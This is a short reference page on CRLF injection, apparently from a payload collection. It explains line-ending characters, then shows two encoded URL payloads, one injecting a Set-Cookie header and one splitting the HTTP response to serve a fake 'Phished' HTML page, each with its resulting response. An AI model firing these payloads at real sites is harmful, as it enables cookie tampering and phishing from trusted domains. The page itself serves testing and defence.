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45 lines
1.5 KiB
Markdown
45 lines
1.5 KiB
Markdown
# CRLF
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The term CRLF refers to Carriage Return (ASCII 13, \r) Line Feed (ASCII 10, \n). They're used to note the termination of a line, however, dealt with differently in today’s popular Operating Systems. For example: in Windows both a CR and LF are required to note the end of a line, whereas in Linux/UNIX a LF is only required. In the HTTP protocol, the CR-LF sequence is always used to terminate a line.
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A CRLF Injection attack occurs when a user manages to submit a CRLF into an application. This is most commonly done by modifying an HTTP parameter or URL.
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## CRLF - Add a cookie
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Requested page
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```
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http://www.example.net/%0D%0ASet-Cookie:mycookie=myvalue
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```
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HTTP Response
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```
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Connection: keep-alive
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Content-Length: 178
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Content-Type: text/html
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Date: Mon, 09 May 2016 14:47:29 GMT
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Location: https://www.example.net/
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Set-Cookie: mycookie=myvalue
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X-Frame-Options: SAMEORIGIN
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X-Sucuri-ID: 15016
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x-content-type-options: nosniff
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x-xss-protection: 1; mode=block
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```
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## CRLF - Write HTML
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Requested page
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```
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http://www.example.net/index.php?lang=en%0AContent-Length%3A%200%0A%20%0AHTTP/1.1%20200%20OK%0AContent-Type%3A%20text/html%0ALast-Modified%3A%20Mon%2C%2027%20Oct%202060%2014%3A50%3A18%20GMT%0AContent-Length%3A%2034%0A%20%0A%3Chtml%3EYou%20have%20been%20Phished%3C/html%3E
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```
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HTTP response
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```
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Set-Cookie:en
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Content-Length: 0
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HTTP/1.1 200 OK
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Content-Type: text/html
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Last-Modified: Mon, 27 Oct 2060 14:50:18 GMT
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Content-Length: 34
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<html>You have been Phished</html>```
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## Thanks to
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* https://www.owasp.org/index.php/CRLF_Injection |